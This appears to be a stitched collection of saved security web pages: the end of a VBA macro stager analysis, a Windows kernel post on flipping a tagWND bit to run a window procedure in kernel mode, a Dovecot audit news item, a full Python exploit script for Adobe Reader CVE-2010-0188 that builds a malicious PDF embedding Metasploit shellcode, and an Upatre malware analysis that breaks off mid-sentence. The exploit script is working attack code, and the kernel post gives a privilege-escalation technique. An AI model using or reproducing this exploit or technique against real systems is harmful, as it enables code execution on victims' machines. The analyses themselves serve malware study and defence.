<img src='img/Temp2_1838.png' alt='Dissecting VBA macros 20' />

Breaking the PowerShell command down, we can see that the following key steps
are performed:

  1. The script makes a GET request to each of the URLs contained.
  2. The file returned from each URL is saved to disk with a random number for each file and a .exe extension in the location pointed to by the "temp" environment variable \(which is often %USERPROFILE%\AppData\Local\Temp\).
  3. Each of these files is then executed.

As we can see, this macro is simply acting as a stager to remotely fetch some
malicious executables from some external domains, save them to disk and then
execute them.

  

At the time of analysis, the following behavior was observed for the domains
involved:

  

<img src='img/Temp2_1840.png' alt='Dissecting VBA macros 21' />

The two files that were successfully downloaded were found to have the same
hash. In this case, this was likely done to provide some redundancy against
individual C2 channels being blocked as malicious.

  

<img src='img/Temp2_1839.png' alt='Dissecting VBA macros 22' />

  

  

Conclusion

  

Hopefully, this blog post has given some context into how to use static
analysis of obfuscated malicious macros to identify the end goal of the
payload and any related C2 channels or dropped executables. Part two of this
blog post will look into using dynamic analysis to analyze the binaries
dropped by the malicious macro.

  

  

  

# PICTUROKU: A bit away from Kernel execution

**Created:**| _12/6/2011 9:59:48 AM_  
---|---  
**Updated:**| _12/6/2011 9:59:48 AM_  
**Author:**| __  
**Tags:**| _windows security kernel_  
  

### A bit away from Kernel execution

  

A ‘write-what-where’ kernel memory overwrite tale.

  

Good arbitrary kernel memory overwrites are hard to find this days. But if you
stumble on one, you are faced with what is usually known as ‘write-what-where’
dilemma. What you can write: the byte content and the overwrite size
\(normally the smaller, the better\). Where you can write: a safe kernel
address that allows us to intercept the cpu code execution flow within a
privileged code segment.

The knowledge of the ‘write-what-where’ is crucial for a successful
exploitation, as is essential for the final phase of a generic exploit: the
triggering phase.

  

As I said before, for the memory overwrite, the smaller, the better. So, if we
could just write one bit in kernel address space and that would allow the
shellcode to be executed in kernel mode, it would be great. But sometimes,
constrains show up, and we can’t just write one single bit. The ideal memory
address buffer would then be the one it would allow a large spectrum of
overwrite widths. This would give it some resilience and stability and would
elect it for usage of a broader range of exploits.

As to the ‘where’ goes, Windows Kernel Patch Protection is a player. Kernel
Patch Protection makes it its business to difficult life to those who try to
hook on Windows. It is indeed a huge determent.

  

This post is about a new ‘write-what-where’ that allows you to easily escalate
from user mode if you can write from a DWORD up to a bit, from user mode to
kernel memory. This post is not about a vulnerability exploit.

  

The pretty printed document can be downloaded from here.  

The idea is the following: If you create a GUI application, the GUI
application will register a WndProc function with RegisterClassEx for GUI
message handling. As soon as the GUI application calls CreateWindow, it asks
the kernel \(Win32k.sys counterpart\) to instantiate the WNDCLASSEX provided
by the application upon registration. The kernel then, when needed, lowers its
execution level to user mode, and calls back the application registered
WndProc. WndProc starts receiving GUI messages and returns it’s execution to
wait in the kernel for more messages delivery. This is the normal, known usual
execution of GUI applications.

The tweak here is that the messaging subsystem kernel counterpart
\(Win32k.sys\) allows for kernel sided registered windows. These windows
process their messages in kernel mode, and what differentiates a user mode
from a kernel mode window is just a single bit, kept in the third byte of the
state field of a tagWND kernel structure at offset 0x14.  If you just flip
this bit, the WndProc runs in kernel mode as it will be shown. And, if you
can’t write just a bit, the state field can be overwritten up to its full
DWORD size. The bonus here is that all the information we need to get to the
critical address is available from user mode, by iterating the aheList. The
bit value that defines a window as kernel mode is defined here as:

\#define WS\_EXECUTE\_IN\_KERNEL 0x04

  

After writing ‘Unpack me if you can’ where I exposed some details about the
Desktop heap, I continued digging on Win32k internals. If you aren’t familiar
with it, please read it as you need to grasp how the desktop heap is organized
to understand some of the steps taken here. I will also give you a small
introduction on how the aheList is structured, and how it can be used from
user mode, to gather the information we need to find the kernel overwrite
spot. I’ll leave for a future post a more descriptive text about the aheList.

  

The aheList is an array of handle entries stored in kernel address space, but
mapped read only into process user space memory, when processes register for
GUI processing. The aheList comprises all the GUI handles for a Windows
session, making this memory area shared by all GUI processes that run in the
same session. The aheList address can be obtained from user mode from the
global variable gSharedInfo exported from user32.dll.

  

x user32\!gSharedInfo

76dc9440 USER32\!gSharedInfo =

The gSharedInfo is a structure of type win32k\!tagSHAREDINFO, as can be seen
here:

  

dt win32k\!tagSHAREDINFO 76dc9440

+0x000 psi : 0x018b0578 tagSERVERINFO

+0x004 aheList : 0x017f0000 \_HANDLEENTRY

+0x008 HeEntrySize : 0xc

+0x00c pDispInfo : 0x018b1728 tagDISPLAYINFO

+0x010 ulSharedDelta : 0xfdd20000

+0x014 awmControl : \[31\] \_WNDMSG

+0x10c DefWindowMsgs : \_WNDMSG

+0x114 DefWindowSpecMsgs : \_WNDMSG

  

From it, we can get the aheList address, 0x017f0000.

  

For the purpose of this demonstration I’ll be using notepad.exe again. Let’s
first set a breakpoint on notepad’s registered WndProc:

  

bp notepad\!NPWndProc

  

As soon as we hit the breakpoint, we get the registers:

  

r

eax=c0000000 ebx=00000000 ecx=00000000 edx=00000003 esi=0000001e edi=000bfd48

eip=001314de esp=000bfcd0 ebp=000bfcf8 iopl=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206

notepad\!NPWndProc:

001b:001314de 8bff mov edi,edi

  

We can observe the user mode segments: CS=0x1b, DS=ES=SS=0x23.

The callback declaration format is:

  

LRESULT CALLBACK MainWndProc\(HWND, UINT, WPARAM, LPARAM\);

  

So, dumping the stack, the first argument will be window handle associated
with our thread: 0x0018009e

  

kbL

ChildEBP RetAddr Args to Child

000bfccc 76d7c4e7 0018009e 0000001e 00000000 notepad\!NPWndProc

000bfcf8 76d7c5e7 001314de 0018009e 0000001e USER32\!InternalCallWinProc+0x23

  

Let’s go to the aheList and grab the tagWND object, by using 0x0018 as a
validator and 0x009e as an index into the aheList array:

  

dt win32k\!\_handleentry 0x017f0000+@@\(sizeof\(win32k\!\_handleentry\)\)\*9e

+0x000 phead : 0xfe83c9e8 \_HEAD

+0x004 pOwner : 0xff9d9008 Void

+0x008 bType : 0x1 ''

+0x009 bFlags : 0 ''

+0x00a wUniq : 0x18

  

Let’s validate in kernel the information obtained:

  

dt win32k\!\_head 0xfe83c9e8

+0x000 h : 0x0018009e Void

+0x004 cLockObj : 9

  

dt win32k\!\_THRDESKHEAD 0xfe83c9e8

+0x000 h : 0x0018009e Void

+0x004 cLockObj : 9

+0x008 pti : 0xff9d9008 tagTHREADINFO

+0x00c rpdesk : 0x8585d678 tagDESKTOP

+0x010 pSelf : 0xfe83c9e8 "???"

  

dt win32k\!tagWND 0xfe83c9e8

+0x000 head : \_THRDESKHEAD

+0x014 state : 0x40020049 <\----

+0x014 bHasMeun : 0y1

...

+0x050 rcClient : tagRECT

+0x060 lpfnWndProc : 0x001314de long notepad\!NPWndProc+0

+0x064 pcls : 0xfe80db68 tagCLS

  

Everything looks valid.  From user mode, we obtained the corresponding tagWnd
address 0xfe83c9e8.  To convert the user mode window to a kernel mode one, we
need to set the third bit from the third byte of the state field in the tagWND
structure.

Summing the tagWnd address \(0xfe83c9e8\), the state field offset within the
tagWnd structure \(0x14\) and the state offset byte \(0x2\), we get the kernel
memory address that needs to be altered. From here on, we would need an
arbitrary memory overwrite to set our value:

  

\(\(BYTE\*\)&pWnd->state\)+0x2 |= WS\_EXECUTE\_IN\_KERNEL

  

Let’s fire up the window to a kernel mode window by hand:

  

eb 0xfe83c9e8+0x14+0x2 4

  

Notice that I set the third byte to the WS\_EXECUTE\_IN\_KERNEL value because
the content is not important as long the flag is set. But for correctness, one
could collect the previous window state value \(usually 2\) from the Desktop
heap and OR it with WS\_EXECUTE\_IN\_KERNEL. See ‘Unpack me if you can’.

  

Run the machine and we hit the breakpoint again:

r

eax=00002cac ebx=00000133 ecx=8a4e3cac edx=8a4e4000 esi=fe83c9e8 edi=ff9d9008

eip=001314de esp=8a4e3c58 ebp=8a4e3c94 iopl=0 nv up ei pl nz na pe nc

cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206

notepad\!NPWndProc:

001314de 8bff mov edi,edi

  

Yeh\! We just set notepad.exe executing in kernel mode. From now on, the code
on WndProc just needs to verify the code segment to validate the kernel mode
execution and run the shellcode. To clean up, the shellcode needs just to
restore the window state to the previous user mode state, and return from
WndProc.

  

How to solve this? The ‘problem’ lies in xxxSendMessageTimeout as it does not
validate if the WndProc address is in user mode before calling it:

  

<img src='img/Temp2_6025.png' width='320' height='189' />

So a simple address validation would suffice to stop this from working with a
simple bit flip, but wouldn’t stop other kind of approaches.

# Security audit of Dovecot mailserver reveals good security practices - Help
Net Security

**Created:**| _1/17/2017 1:30:53 PM_  
---|---  
**Updated:**| _1/17/2017 1:30:53 PM_  
**Author:**| __  
**Tags:**| _code-review mail_  
  

  

# Security audit of Dovecot mailserver reveals good security practices

Aspiring to be a CISSP in 2017? Download the free planning kit\!

Dovecot – a popular open source IMAP and POP3 server for Linux/UNIX-like
systems – is as secure as its developers claim it is. A security audit
performed by German security outfit Cure 53 revealed only three minor security
issues, and they’ve all already been fixed.

<img src='img/Temp2_7372.jpg' width='638' height='356' alt='Dovecot security
audit' />

The audit, sponsored by Mozilla through its Open Source Support program, was
performed by four code and penetration testers over the course of twenty days.
They tested version 2.2.26.0 of the email server software suite \(released on
October 28, 2016\).

The source code manual audit part of the testing did not encompass the
entirety of the “massive” Dovecot codebase, but concentrated on the POP and
IMAP protocol stacks, the process architecture and the login process, the
User/Password MySQL and LDAP plugins, the internal dcrypt encryption API
wrapper, and the GUID implementation – i.e. the most commonly used and
deployed components.

The penetration testing was performed on several running instances of Dovecot.

The testers were pleasantly surprised by their findings, but pointed out that
it would be great if, in time, other components were tested as well.

“In the broader web and security community, Dovecot is known for being very
much robust and secure,” they noted in the audit report.

“Despite much effort and thoroughly all-encompassing approach, \[we\] only
managed to assert the excellent security-standing of Dovecot. More
specifically, only three minor security issues have been found in the
codebase, thus translating to an exceptionally good outcome for Dovecot, and a
true testament to the fact that keeping security promises is at the core of
the Dovecot development and operations.”

“It is noticeable that Dovecot has already received a lot of scrutiny
regarding its code security,” they concluded. “For a complex piece of software
that Dovecot constitutes, it is an extremely rare result to stand strong with
so few problems.”

Neil Cook, Chief Security Architect of the Dovecot project, while announcing
the results of the results of the audit, noted that one of the things they
take very seriously is the security of their software.

“\[It\] is a ground-up process which involves every aspect of the software
lifecycle, including coding practices, design, static and dynamic analysis,
comprehensive QA and a bug-bounty program,” he pointed out.

  

# CVE-2010-0188思密达\_function is\_ShadowHider\(\)\{return true\}\_百度空间

**Created:**| _3/14/2010 8:38:34 AM_  
---|---  
**Updated:**| _3/14/2010 8:39:07 AM_  
**Author:**| __  
**Tags:**| _bookmark windows security Exploit python Twitter Malware-analysis
programming pdf_  
  
Exploits works with Adobe js disabled.  
  
import sys  
import base64  
import struct  
import zlib  
import StringIO  
  
SHELLCODE\_OFFSET=1500  
TIFF\_OFSET=0x2038  
  
\# windows/exec - 227 bytes  
\# http://www.metasploit.com  
\# Encoder: x86/shikata\_ga\_nai  
\# EXITFUNC=process, CMD=calc.exe  
buf = "\x2b\xc9\xd9\xc0\xd9\x74\x24\xf4\x5e\xb1\x33\xba\xd9\xb4"  
buf += "\x0a\xbe\x31\x56\x15\x03\x56\x15\x83\x1f\xb0\xe8\x4b\x63"  
buf += "\x51\x65\xb3\x9b\xa2\x16\x3d\x7e\x93\x04\x59\x0b\x86\x98"  
buf += "\x29\x59\x2b\x52\x7f\x49\xb8\x16\xa8\x7e\x09\x9c\x8e\xb1"  
buf += "\x8a\x10\x0f\x1d\x48\x32\xf3\x5f\x9d\x94\xca\x90\xd0\xd5"  
buf += "\x0b\xcc\x1b\x87\xc4\x9b\x8e\x38\x60\xd9\x12\x38\xa6\x56"  
buf += "\x2a\x42\xc3\xa8\xdf\xf8\xca\xf8\x70\x76\x84\xe0\xfb\xd0"  
buf += "\x35\x11\x2f\x03\x09\x58\x44\xf0\xf9\x5b\x8c\xc8\x02\x6a"  
buf += "\xf0\x87\x3c\x43\xfd\xd6\x79\x63\x1e\xad\x71\x90\xa3\xb6"  
buf += "\x41\xeb\x7f\x32\x54\x4b\x0b\xe4\xbc\x6a\xd8\x73\x36\x60"  
buf += "\x95\xf0\x10\x64\x28\xd4\x2a\x90\xa1\xdb\xfc\x11\xf1\xff"  
buf += "\xd8\x7a\xa1\x9e\x79\x26\x04\x9e\x9a\x8e\xf9\x3a\xd0\x3c"  
buf += "\xed\x3d\xbb\x2a\xf0\xcc\xc1\x13\xf2\xce\xc9\x33\x9b\xff"  
buf += "\x42\xdc\xdc\xff\x80\x99\x13\x4a\x88\x8b\xbb\x13\x58\x8e"  
buf += "\xa1\xa3\xb6\xcc\xdf\x27\x33\xac\x1b\x37\x36\xa9\x60\xff"  
buf += "\xaa\xc3\xf9\x6a\xcd\x70\xf9\xbe\xae\x17\x69\x22\x1f\xb2"  
buf += "\x09\xc1\x5f\x00"  
  
class CVE20100188Exploit:  
def \_\_init\_\_\(self,shellcode\):  
self.shellcode = shellcode  
self.tiff64=base64.b64encode\(self.gen\_tiff\(\)\)  
  
def gen\_tiff\(self\):  
tiff = '\x49\x49\x2a\x00'  
tiff += struct.pack\("<L", TIFF\_OFSET\)  
  
tiff += '\x90' \* \(SHELLCODE\_OFFSET\)  
tiff += self.shellcode  
tiff += '\x90' \* \(TIFF\_OFSET - 8 - len\(buf\) - SHELLCODE\_OFFSET\)  
  
tiff += "\x07\x00\x00\x01\x03\x00\x01\x00"  
tiff += "\x00\x00\x30\x20\x00\x00\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00"  
tiff += "\x00\x00\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x01"  
tiff += "\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01\x04\x00\x01\x00"  
tiff += "\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20"  
tiff += "\x00\x00\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00\x00\x00"  
tiff += "\x00\x00\x00\x0C\x0C\x08\x24\x01\x01\x00\xF7\x72\x00\x07\x04\x01"  
tiff += "\x01\x00\xBB\x15\x00\x07\x00\x10\x00\x00\x4D\x15\x00\x07\xBB\x15"  
tiff += "\x00\x07\x00\x03\xFE\x7F\xB2\x7F\x00\x07\xBB\x15\x00\x07\x11\x00"  
tiff += "\x01\x00\xAC\xA8\x00\x07\xBB\x15\x00\x07\x00\x01\x01\x00\xAC\xA8"  
tiff += "\x00\x07\xF7\x72\x00\x07\x11\x00\x01\x00\xE2\x52\x00\x07\x54\x5C"  
tiff += "\x00\x07\xFF\xFF\xFF\xFF\x00\x01\x01\x00\x00\x00\x00\x00\x04\x01"  
tiff += "\x01\x00\x00\x10\x00\x00\x40\x00\x00\x00\x31\xD7\x00\x07\xBB\x15"  
tiff += "\x00\x07\x5A\x52\x6A\x02\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"  
tiff += "\x00\x07\x58\xCD\x2E\x3C\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"  
tiff += "\x00\x07\x05\x5A\x74\xF4\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"  
tiff += "\x00\x07\xB8\x49\x49\x2A\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"  
tiff += "\x00\x07\x00\x8B\xFA\xAF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"  
tiff += "\x00\x07\x75\xEA\x87\xFE\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"  
tiff += "\x00\x07\xEB\x0A\x5F\xB9\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"  
tiff += "\x00\x07\xE0\x03\x00\x00\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"  
tiff += "\x00\x07\xF3\xA5\xEB\x09\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"  
tiff += "\x00\x07\xE8\xF1\xFF\xFF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"  
tiff += "\x00\x07\xFF\x90\x90\x90\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"  
tiff += "\x00\x07\xFF\xFF\xFF\x90\x4D\x15\x00\x07\x31\xD7\x00\x07\x2F\x11"  
tiff += "\x00\x07"  
return tiff  
  
  
def gen\_xml\(self\):  
xml= '''<?xml version="1.0" encoding="UTF-8" ?>  
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">  
<config xmlns="http://www.xfa.org/schema/xci/1.0/">  
<present>  
<pdf>  
<version>1.65</version>  
<interactive>1</interactive>  
<linearized>1</linearized>  
</pdf>  
<xdp>  
<packets>\*</packets>  
</xdp>  
<destination>pdf</destination>  
</present>  
</config>  
<template baseProfile="interactiveForms" xmlns="http://www.xfa.org/schema/xfa-
template/2.4/">  
<subform name="topmostSubform" layout="tb" locale="en\_US">  
<pageSet>  
<pageArea id="PageArea1" name="PageArea1">  
<contentArea name="ContentArea1" x="0pt" y="0pt" w="612pt" h="792pt" />  
<medium short="612pt" long="792pt" stock="custom" />  
</pageArea>  
</pageSet>  
<subform name="Page1" x="0pt" y="0pt" w="612pt" h="792pt">  
<break before="pageArea" beforeTarget="\#PageArea1" />  
<bind match="none" />  
<field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm">  
<ui>  
<imageEdit />  
</ui>  
</field>  
<?templateDesigner expand 1?>  
</subform>  
<?templateDesigner expand 1?>  
</subform>  
<?templateDesigner FormTargetVersion 24?>  
<?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1,
crosshairs:0?>  
<?templateDesigner Zoom 94?>  
</template>  
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">  
<xfa:data>  
<topmostSubform>  
<ImageField1 xfa:contentType="image/tif" href="">'''+self.tiff64
+'''</ImageField1>  
</topmostSubform>  
</xfa:data>  
</xfa:datasets>  
<PDFSecurity xmlns="http://ns.adobe.com/xtd/" print="1" printHighQuality="1"
change="1" modifyAnnots="1" formFieldFilling="1" documentAssembly="1"
contentCopy="1" accessibleContent="1" metadata="1" />  
<form checksum="a5Mpguasoj4WsTUtgpdudlf4qd4="
xmlns="http://www.xfa.org/schema/xfa-form/2.8/">  
<subform name="topmostSubform">  
<instanceManager name="\_Page1" />  
<subform name="Page1">  
<field name="ImageField1" />  
</subform>  
<pageSet>  
<pageArea name="PageArea1" />  
</pageSet>  
</subform>  
</form>  
</xdp:xdp>  
  
'''  
return xml  
  
def gen\_pdf\(self\):  
xml = zlib.compress\(self.gen\_xml\(\)\)  
pdf='''%PDF-1.6  
1 0 obj  
<</Filter /FlateDecode/Length ''' + str\(len\(xml\)\) + '''/Type
/EmbeddedFile>>  
stream  
''' + xml+'''  
endstream  
endobj  
2 0 obj  
<</V \(\) /Kids \[3 0 R\] /T \(topmostSubform\[0\]\) >>  
endobj  
3 0 obj  
<</Parent 2 0 R /Kids \[4 0 R\] /T \(Page1\[0\]\)>>  
endobj  
4 0 obj  
<</MK <</IF <</A \[0.0 1.0\]>>/TP 1>>/P 5 0 R/FT /Btn/TU \(ImageField1\)/Ff
65536/Parent 3 0 R/F 4/DA \(/CourierStd 10 Tf 0 g\)/Subtype /Widget/Type
/Annot/T \(ImageField1\[0\]\)/Rect \[107.385 705.147 188.385 709.087\]>>  
endobj  
5 0 obj  
<</Rotate 0 /CropBox \[0.0 0.0 612.0 792.0\]/MediaBox \[0.0 0.0 612.0
792.0\]/Resources <</XObject >>/Parent 6 0 R/Type /Page/PieceInfo null>>  
endobj  
6 0 obj  
<</Kids \[5 0 R\]/Type /Pages/Count 1>>  
endobj  
7 0 obj  
<</PageMode /UseAttachments/Pages 6 0 R/MarkInfo <</Marked true>>/Lang \(en-
us\)/AcroForm 8 0 R/Type /Catalog>>  
endobj  
8 0 obj  
<</DA \(/Helv 0 Tf 0 g \)/XFA \[\(template\) 1 0 R\]/Fields \[2 0 R\]>>  
endobj xref  
trailer  
<</Root 7 0 R/Size 9>>  
startxref  
14765  
%%EOF'''  
return pdf  
  
  
if \_\_name\_\_=="\_\_main\_\_":  
if len\(sys.argv\) \!= 2:  
print "Usage: %s \[output.pdf\]" % sys.argv\[0\]  
  
print "Creating Exploit to %s\n"% sys.argv\[1\]  
exploit=CVE20100188Exploit\(buf\)  
f = open\(sys.argv\[1\],mode='wb'\)  
f.write\(exploit.gen\_pdf\(\)\)  
f.close\(\)  
print "\[+\] done \!"  
---  
  

# Win32/Upatre.BI - Part Four

**Created:**| _6/26/2015 10:48:36 AM_  
---|---  
**Updated:**| _6/26/2015 10:48:36 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

# Win32/Upatre.BI - Part FourPayload Format

<img src='img/Temp2_9517.jpg' alt='featured image' />

This is the fourth part of the four part series on "_Win32/Upatre.BI_ ". Check
out the other parts here:

  * Part 1: Win32/Upatre.BI - _Unpacking_ \(June 10, 2015\)
  * Part 2: Win32/Upatre.BI - _Config_ \(June 14, 2015\)
  * Part 3: Win32/Upatre.BI - _Main Loop_ \(June 16, 2015\)
  * Part 4: Win32/Upatre.BI - _Payload Format_ \(June 20, 2015\)

This last article is all about the second stage payload of Upatre.

  1. The first part shows how the download handler decrypts and parses payload. The analysis leads to a description of the payload’s format. It also shows how the unpacking stub of the payload decompresses, prepares and launches the embedded executable. Although technically not part of Upatre’s binary, I found these steps to be so prevalent that they still should be part of the analysis on Upatre.
  2. The second part presents a small script to decrypt and decompress many of Upatre’s payloads. The script is applied to a couple of payloads, which all turned out to be of the _Dyre_ banking trojan family. This comes at now suprise, see for instance this article \(in German\).

## Download Handler

The previous blog post showed two cases that lead to the download handler:

  1. During initialization, Upatre finds that the preconfigured temp file exists and exceeds about 1 KB in size. If so, the file’s content is passed to the handler.
  2. One of the download targets returned more than 150 KB, which are then tackled by the download handler. This is the usual way the download handler is invoked.

### Decryption

The downloaded payload is encrypted with with a preconfigured four byte XOR
key. The keys are stored in an array of decryption keys, and referenced by the
fourth field of the target which was used to download the payload, see part 2
of this blog series. I have yet to see an Upatre sample that uses more than
one decryption key though. In configurations of the ten analysed samples the
targets all referenced the same key, listed as _decryption key_.

The first four bytes of the payload are not encrypted. This would allow Upatre
to use the correct magic numbers for some pretend file types; for example if
the payload is disguised as a PDF, then the payload could start with _“%PDF”_.
This doesn’t seem to be the case though, the first four bytes are neither
valid magic numbers nor are they used in any way by Upatre.

The following graph view shows how the decryption key is fetched from the
array of keys based on the target number. The four byte key then decrypts the
payload from offset 4 to the end:

<img src='img/Temp2_9524.jpg' />

The decryption can be summarized as follows, with _key_ being the four byte
_decryption key_ and the routine _f_ denoting a key scheduling algorithm:

<img src='img/Temp2_9527.jpg' />

I found five different ways Upatre modifies the key for the next XOR
decryption:

  * decremental: _k ← k - 1_
  * double decremental: _k ← k - 2_
  * incremental: _k ← k + 1_
  * left rotating: _k ← rol\(k\)_
  * check key base: _k ← k + ck_ , with _ck_ being the _check key_

The next picture shows implementations for all five variants taken from real
Upatre samples:

<img src='img/Temp2_9519.jpg' />

### Payload Size and Check Key Validation

At 0x12 bytes into the decrypted payload, i.e., 0xE bytes into the ciphertext,
the _payload’s size_ in bytes is stored as a little endian 4 byte value.
Upatre compares the actual file size of the payload to that size field:

[code]

    00401844                 pop     ebx             ; ebx points to payload
    00401845                 push    12h
    00401847                 pop     eax             ; -> 0x12
    00401848                 pop     ecx
    00401849                 mov     eax, [eax+ebx]
    0040184C                 mov     esi, ebx
    0040184E                 pop     ebx
    0040184F                 cmp     eax, ecx        ; compare_to_filesize
    00401851                 jnz     error_2902
    
[/code]

The size of the payload can be calculated of course and enables an effective
known-plaintext attack. More on that later.

A 0x2902 error message is sent to the C2 server if the values don’t coincide,
and the payload is discarded. If the sizes match, then a second field is
checked:

[code]

    00401857                 mov     eax, [ebp+64h+tar_nr] 
    0040185A                 inc     ah
    0040185C                 inc     ah
    0040185E                 call    [ebp+64h+get_field_of_target]
    00401861                 mov     cl, ah
    00401863                 shl     ecx, 2
    00401866                 mov     eax, [ebp+64h+check_keys]
    00401869                 add     ecx, eax
    0040186B                 mov     eax, [ecx]
    0040186D                 mov     ecx, [esi+4]     ; esi points to payload
    00401870                 cmp     eax, ecx
    00401872                 jz      short execute_payload
    
[/code]

The instruction at offset 0x40186D retrieves the little endian dword at 4
bytes into the decrypted payload. This value is compared to the _check key_ ,
which is retrieved like the _decryption key_ before. Upatre uses the same
index to reference the _decryption key_ and _check key_. As for the
_decryption keys_ , all samples only have one _check key_ configured. If the
_check key_ does not match the 4 bytes at 4 bytes into the payload, then the
error message 0x2904 is sent to the C2 server.

### Unpacking Stub

If both the _payload size_ and _check key_ values are shipshape, then Upatre
considers the payload valid and will start to execute part of the payload. It
first marks the first 4KB of the payload as executable, which covers all of
the unpacking stub:

[code]

    0040188A execute_payload:                        ; CODE XREF: start+5F8j
    0040188A                 lea     eax, [ebp+64h+old_protection]
    0040188D                 push    eax
    0040188E                 push    PAGE_EXECUTE_READWRITE
    00401890                 push    1000h
    00401895                 push    esi             ; esi points to payload
    00401896                 call    [ebx+imports.VirtualProtect]
    
[/code]

Then it calls the address given by the relative virtual address at 8 bytes
into the payload:

[code]

    0040189C                 xor     eax, eax
    0040189E                 mov     ax, [esi+8]     ; word at offset 8
    004018A2                 add     eax, esi
    004018A4                 mov     ecx, [ebp+64h+file_size]
    004018A7                 call    eax
    
[/code]

The last call hands the control over to the payload, which could do what it
please. However, all payloads that I examined performed the same initial
steps. There are even variants of Upatre that moved these parts away from the
payload into Upatre’s code base \(more on that later\).

The following analysis is based on the payload downloaded by Upatre sample
457f0283c17b00b29e335829f6a716fd. Both the encrypted and decrypted payload can
be downloaded here \(_Warning, contains malware. ZIP file encrypted with
password “infected”_\).

The word at offset 8 into the payload, i.e., the relative address of the entry
point, is 0x00E0 and points to the next snippet:

[code]

    01DE00E0 lea     eax, [ebp+64h+const_six_million]
    01DE00E3 push    eax
    01DE00E4 mov     eax, [esi+0Eh]
    01DE00E7 push    eax
    01DE00E8 movzx   eax, word ptr [esi+0Ch]
    01DE00EC add     eax, esi
    01DE00EE push    eax
    01DE00EF mov     eax, [ebp+64h+const_six_million]
    01DE00F2 push    eax
    01DE00F3 mov     edi, [ebp+64h+allocated_space]
    01DE00F6 push    edi
    01DE00F7 push    102h
    01DE00FC call    [ebx+imports.ntdll_RtlDecompressBuffer]
    
[/code]

The code reuses the stack frame of Upatre and depends on some local variables
set by Upatre. It also requires that register `esi` points to the start of the
decrypted payload. These ties to Upatre show the close relationship the
subroutine has to its downloader.

The parameters of the _RtlDecompressBuffer_ call with the corresponding pushed
values are:

  1. _In_ USHORT **CompressionFormat** : 0x102 which represents `COMPRESSION_ENGINE_MAXIMUM` OR `COMPRESSION_FORMAT_LZNT1`.
  2. _Out_ PUCHAR **UncompressedBuffer** : space allocated by Upatre; can hold 7.9 MB
  3.  _In_ ULONG **UncompressedBufferSize** : hard-coded in Upatre to 6 MB, see the first graph view in this article.
  4. _In_ PUCHAR **CompressedBuffer** : determined by adding the two byte relative address at offset 0xC into the payload to the payload’s start address. My payload has set the relative address 0x03F0, which results in the absolute address 0x01DE03F0.
  5. _In_ ULONG **CompressedBufferSize** : set to the dword from offset 0xE into the payload.
  6. _Out_ PULONG **FinalUncompressedSize** : pointer to the `const_six_million` value, will be overwritten with the decompressed buffer size.

After decompression, the unpacking stub reads the first four bytes of the
uncompressed space and compares them to the famous “MZ” start of Windows
executables:

[code]

    01DE0102 mov     eax, [edi]
    01DE0104 dec     al
    01DE0106 inc     ah
    01DE0108 cmp     ax, 5B4Ch       ; -> MZ
    01DE010C jz      short is_exe
    
[/code]

If the decompression leads to something other than an executable, then the
payload uses Upatre’s C2 callback routine to send a 0x2904 error message. The
payload then returns control back over to Upatre, which will continue with its
main loop. The payload also sleeps for 2 seconds before returning when more
than five fails for the same target are recorded:

[code]

    01DE010E mov     eax, [ebp+64h+tar_nr]
    01DE0111 mov     ecx, eax
    01DE0113 mov     edx, [ebp+64h+fails]
    01DE0116 shl     eax, 2
    01DE0119 add     edx, eax
    01DE011B mov     eax, [edx]
    01DE011D cmp     eax, 5
    01DE0120 ja      short return
    01DE0122 inc     eax
    01DE0123 mov     [edx], eax
    01DE0125 mov     ax, 2904h
    01DE0129 call    [ebp+64h+send_user_infos]
    01DE012C push    1
    01DE012E push    7D0h
    01DE0133 call    [ebx+imports.kernel32_SleepEx]
    01DE0139
    01DE0139 return:  
    01DE0139 retn
    
[/code]

If the decompressed buffer _does_ start with _MZ_ , then the stub starts to
load the executable — much like the second stage unpacking stub from part 1 of
this blog series. First, space the size of the executable is allocated.
Second, all headers are copied over:

<img src='img/Temp2_9526.jpg' />

Third, the sections are copied:

<img src='img/Temp2_9523.jpg' />

Fourth, imports are resolved:

<img src='img/Temp2_9521.jpg' />

And fifth, the relocations are taken care of:

<img src='img/Temp2_9518.jpg' />

Finally, the PEB structure is updated with the new image base. This concludes
the unpacking stub and the tail jump to the entry point is made:

<img src='img/Temp2_9525.jpg' />

The whole unpacking stub seems to be common for all payloads. It would
therefore make sense to include it in Upatre. This is what some version of
Upatre do: rather than delivering the unpacking routine by payload, they have
it already built in. They also lack the idea of _check key_ , which is missing
from the configuration of those samples. The payload therefore only consists
of a four byte header and compressed data, see the next section for an
illustration.

### The Payload Format

The following illustration shows the payload format with all known fields:

<img src='img/Temp2_9522.jpg' />

The simplified format without unpacking stub and check key looks like this:

<img src='img/Temp2_9520.jpg' />

## Cracking Payloads

The regular, non-simplified payload format can easily be decrypted if the keys
are modified by any method other than _check key_ -base. The known plain text
from the _payload size_ field \(at offset 0x12 into the payload\) is all one
needs to find the _decryption key_. The size value uniquely determines the XOR
key for all key scheduling algorithms except _rotating_ ; because the payload
size field is not aligned to four bytes, one gets four potential keys for the
rotating XOR encryption. Not knowing the key-scheduling algorithm leaves us 7
